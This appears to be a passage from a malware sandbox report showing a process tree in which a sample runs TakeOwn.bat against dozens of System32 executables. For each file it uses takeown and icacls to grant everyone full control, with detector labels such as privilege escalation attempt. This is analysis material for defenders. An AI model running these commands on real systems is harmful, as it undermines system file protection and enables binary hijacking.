- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\IME\SHARED\IMCCPHR.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\IME\SHARED\imecfmui.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\IME\SHARED\imecfmui.exe"3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\IME\SHARED\imecfmui.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\IME\SHARED\IMEPADSV.EXE"2⤵
- Executes a command shell one-liner
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\IME\SHARED\IMEPADSV.EXE"3⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\IME\SHARED\IMEPADSV.EXE" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\IME\SHARED\IMESEARCH.EXE"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\IME\SHARED\IMESEARCH.EXE"3⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\IME\SHARED\IMESEARCH.EXE" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\IME\SHARED\IMEWDBLD.EXE"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\IME\SHARED\IMEWDBLD.EXE"3⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\IME\SHARED\IMEWDBLD.EXE" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\InfDefaultInstall.exe"2⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\InfDefaultInstall.exe"3⤵
- Possible privilege escalation attempt
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\InfDefaultInstall.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\InputSwitchToastHandler.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\InputSwitchToastHandler.exe"3⤵
- Possible privilege escalation attempt
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\InputSwitchToastHandler.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\InstallShield\setup.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\InstallShield\setup.exe"3⤵
- Possible privilege escalation attempt
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\InstallShield\setup.exe" /grant "everyone":(f)3⤵
- Possible privilege escalation attempt
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\InstallShield\_isdel.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\InstallShield\_isdel.exe"3⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\InstallShield\_isdel.exe" /grant "everyone":(f)3⤵
- Modifies file permissions
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\instnm.exe"2⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\instnm.exe"3⤵
- Possible privilege escalation attempt
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\instnm.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\ipconfig.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\ipconfig.exe"3⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\ipconfig.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\iscsicli.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\iscsicli.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\iscsicli.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\iscsicpl.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\iscsicpl.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\iscsicpl.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\isoburn.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\isoburn.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\isoburn.exe" /grant "everyone":(f)3⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\ktmutil.exe"2⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\ktmutil.exe"3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\ktmutil.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\label.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\label.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\label.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\LaunchTM.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\LaunchTM.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\LaunchTM.exe" /grant "everyone":(f)3⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\LaunchWinApp.exe"2⤵
- Executes a command shell one-liner
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\LaunchWinApp.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\LaunchWinApp.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\lodctr.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\lodctr.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\lodctr.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\logagent.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\logagent.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\logagent.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\logman.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\logman.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\logman.exe" /grant "everyone":(f)3⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\Magnify.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\Magnify.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\Magnify.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\makecab.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\makecab.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\makecab.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\mavinject.exe"2⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\mavinject.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\mavinject.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\mcbuilder.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\mcbuilder.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\mcbuilder.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\mfpmp.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\mfpmp.exe"3⤵
- Possible privilege escalation attempt
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\mfpmp.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\mmc.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\mmc.exe"3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\mmc.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\mmgaserver.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\mmgaserver.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\mmgaserver.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\mobsync.exe"2⤵
- Executes a command shell one-liner
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\mobsync.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\mobsync.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\mountvol.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\mountvol.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\mountvol.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\MRINFO.EXE"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\MRINFO.EXE"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\MRINFO.EXE" /grant "everyone":(f)3⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\msdt.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\msdt.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\msdt.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\msfeedssync.exe"2⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\msfeedssync.exe"3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\msfeedssync.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\mshta.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\mshta.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\mshta.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\msiexec.exe"2⤵
- Executes a command shell one-liner
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\msiexec.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\msiexec.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\msinfo32.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\msinfo32.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\msinfo32.exe" /grant "everyone":(f)3⤵
- Possible privilege escalation attempt
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\mspaint.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\mspaint.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\mspaint.exe" /grant "everyone":(f)3⤵
- Modifies file permissions
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\msra.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\msra.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\msra.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\mstsc.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\mstsc.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\mstsc.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\mtstocom.exe"2⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\mtstocom.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\mtstocom.exe" /grant "everyone":(f)3⤵
- Possible privilege escalation attempt
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\MuiUnattend.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\MuiUnattend.exe"3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\MuiUnattend.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\ndadmin.exe"2⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\ndadmin.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\ndadmin.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\net.exe"2⤵
- Executes a command shell one-liner
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\net.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\net.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\net1.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\net1.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\net1.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\netbtugc.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\netbtugc.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\netbtugc.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\NetCfgNotifyObjectHost.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\NetCfgNotifyObjectHost.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\NetCfgNotifyObjectHost.exe" /grant "everyone":(f)3⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\netiougc.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\netiougc.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\netiougc.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\Netplwiz.exe"2⤵
- Executes a command shell one-liner
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\Netplwiz.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\Netplwiz.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\netsh.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\netsh.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\netsh.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\NETSTAT.EXE"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\NETSTAT.EXE"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\NETSTAT.EXE" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\newdev.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\newdev.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\newdev.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\notepad.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\notepad.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\notepad.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\nslookup.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\nslookup.exe"3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\nslookup.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\ntprint.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\ntprint.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\ntprint.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\odbcad32.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\odbcad32.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\odbcad32.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\odbcconf.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\odbcconf.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\odbcconf.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\OneDriveSetup.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\OneDriveSetup.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\OneDriveSetup.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\openfiles.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\openfiles.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\openfiles.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\OpenWith.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\OpenWith.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\OpenWith.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\OposHost.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\OposHost.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\OposHost.exe" /grant "everyone":(f)3⤵
- Modifies file permissions
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\PackagedCWALauncher.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\PackagedCWALauncher.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\PackagedCWALauncher.exe" /grant "everyone":(f)3⤵
- Modifies file permissions
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\PasswordOnWakeSettingFlyout.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\PasswordOnWakeSettingFlyout.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\PasswordOnWakeSettingFlyout.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\PATHPING.EXE"2⤵
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\PATHPING.EXE"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\PATHPING.EXE" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\pcaui.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\pcaui.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\pcaui.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\perfhost.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\perfhost.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\perfhost.exe" /grant "everyone":(f)3⤵
-
